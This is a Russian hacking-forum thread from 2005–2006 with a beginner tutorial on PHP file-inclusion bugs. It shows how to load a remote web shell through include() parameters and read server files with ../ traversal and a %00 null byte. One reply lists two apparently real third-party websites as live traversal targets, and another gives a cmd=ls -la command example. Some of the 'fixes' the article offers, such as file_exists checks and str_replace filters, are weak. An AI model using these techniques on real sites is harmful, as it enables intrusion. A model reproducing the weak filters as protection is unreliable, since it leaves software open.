Авторские статьи php injection

Discussion in 'Статьи' started by GreenBear, 24 Dec 2005.

  1. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое.
    Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
    Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
    И так , сама суть:
    Есть код:
    PHP:
    <?
    ..
    Include (
    "$page.php");

    ?>
    Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop
    Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким:
    Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл.
    Идем дальше, есть код типа:
    PHP:
    <?
    ..
    Include (
    "files/$page.htm");

    ?>
    :. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
    Третий тип:
    PHP:
    <?
    ..
    Include (
    "$patch/folder/page.php");

    ?>
    Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
    Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
    И о чудо, мы снова видим там свой шелл :

    Теперь, как избежать этого.
    Случай первый:
    PHP:
    <?
    ..
    if (
    file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
    {
    Include (
    "$page.php");
    }
    Else 
    //Есле…
    {
    Echo 
    "Error!";
    }

    ?>
    Случай второй:
    PHP:
    <?
    ..
    $page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
    if (file_exists("files/$page.htm "))
    {
    Include (
    "files/$page.htm");
    }
    Else
    {
    Echo 
    "error";
    }

    ?>
    Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
    PHP:
    <?

    $patch
    =str_replace("/","",$patch);  // Отфильтруем нехорошие символы
    $patch=str_replace(":","",$patch);
    $patch=str_replace(".","",$patch);

    if (
    file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
    {
    Include (
    "$patch/folder/page.php");
    }
    Else
    {
    Echo 
    "Error!";
    }

    ?>
    Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
     
    26 people like this.
  2. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    _http://www.beta-bedrijvendagen.nl/main.php?file=../main.php
    _http://www.compendiuminc.com/main.php?file= к примеру;)
     
    _________________________
    #2 TANZWUT, 25 Dec 2005
    Last edited: 25 Dec 2005
  3. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Теперь, когда вы так много знаете, я расскажу вам как правильно кушать ложкой.

    Примерно тоже самое, что и эта статья. Green_beear молодец конечно, но не туда по-мойму труд ты свой прикладываешь немного.
    К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)
     
  4. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    Zadoxlik, ну простые и не очень смертные не в курсе какие планы у вас с Егорычем.. =) Инициатива приветствуется)). Думаю, здесь осуждать не имеет смысла, беспочвенно).
     
  5. Electro

    Electro Elder - Старейшина

    Joined:
    23 Oct 2005
    Messages:
    243
    Likes Received:
    45
    Reputations:
    39
    Статейка просто супер. Мне понравился но вот только во многих сайтах это не проходит, например я пишу в место index.php?page=shop , index.php?page=xernya а страничка вообще не реагирует на ошибочный запрос ...было бы лучше если бы вы обяснили как тогда действовать
     
  6. byte57

    byte57 Elder - Старейшина

    Joined:
    22 Jan 2005
    Messages:
    568
    Likes Received:
    13
    Reputations:
    24
    статья нормально, так как на ачате еще не писали, пусть будет в библиотеке, но нету приложений в виде простенького кода шелла.
     
  7. External

    External Banned

    Joined:
    12 Jan 2006
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Тут кроме Белого Джордана об этой теме писать не могут. Ты не найдешь ни единой статьи об хсс кроме статей Алгола.
     
    #7 External, 14 Jan 2006
    Last edited: 14 Jan 2006
  8. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Просто об ней уже все написано
     
  9. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    Простая статья что такого ужасного написали грин бир молодец что такого?
     
  10. External

    External Banned

    Joined:
    12 Jan 2006
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Ибо да, Алгола начал, а Белый Джордан закончил. Они все про хсс уже написали. Все что можно угу.
     
  11. zyl

    zyl Elder - Старейшина

    Joined:
    19 Apr 2006
    Messages:
    24
    Likes Received:
    13
    Reputations:
    0
    Подскажите идиоту как понять ("$page.php") - разве такое может быть?
     
  12. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    Мдя.а вообще это не картинки, а исходники пхп. Чувак, чтобы понять это тебе наверное надо посмотреть видео на античате, уже поймешь что да как. а минусы ставят выше Members of Antichat.
    http://video.antichat.ru/2_0.html
     
  13. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    я конечно не профессор, include ($page.php) наверное page.php можно сменить на cmd,
    www.vixtim.com/index.php?page.php=ls -al

    или как cmd

    www.vixtim.com/index.php?cmd=ls -la

    вроде как разницы нет.
     
  14. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    причем тут cmd? если в странице index.php присутствует скрипт <? passthru("$cmd"); ?>, то тогда только тебе листинг директории покажет ../index.php?cmd=ls -lia
    include "$page.php" означает что при нажатии на ссылку ../index.php?page=yopt откроется страница yopt.php. В строке брaуезра ты будешь видеть ../index.php?page=yopt, хотя ее можно и открыть как ../yopt.php

    Новый год прошел, а статья есть?
     
    _________________________
    #14 c411k, 9 May 2006
    Last edited: 9 May 2006
  15. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    пардон, а не читал впереди. ответил сразу.поэтому ступил.
     
    1 person likes this.
  16. zyl

    zyl Elder - Старейшина

    Joined:
    19 Apr 2006
    Messages:
    24
    Likes Received:
    13
    Reputations:
    0
    Вы меня неправильно поняли! Разве страница с расширением *.php вдруг стать переменной(и кавычки зачем?)? Наверное долно быть include ($page); ! Новички на этом могут голову сломать, как сломал её сегодня ночью, когда прочитал эту статью.
     
  17. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Статья была за долго до нового года.
    Почитать пока негде нельзя
     
  18. zyl

    zyl Elder - Старейшина

    Joined:
    19 Apr 2006
    Messages:
    24
    Likes Received:
    13
    Reputations:
    0
    Вот все говорят, что php-include это всего лишь часть....а про остальное ни слову!
     
  19. Doredox

    Doredox New Member

    Joined:
    3 Aug 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Разве это выход? если мы укажем на существующий shell проверка выполнится успешно. Вообще в таких случаях я бы рекомендовал оператор switch, надёжней не придумаешь, особенно если страниц не так много и нет необходимости их часто добавлять.
     
  20. Electro

    Electro Elder - Старейшина

    Joined:
    23 Oct 2005
    Messages:
    243
    Likes Received:
    45
    Reputations:
    39
    Постораюсь дать тебе ответ, коротко и чтоб ты имел маленькое представления о том что такое веб шелл.

    Ну это типо проводник, но по круче =))
     
    #20 Electro, 11 Aug 2006
    Last edited: 11 Aug 2006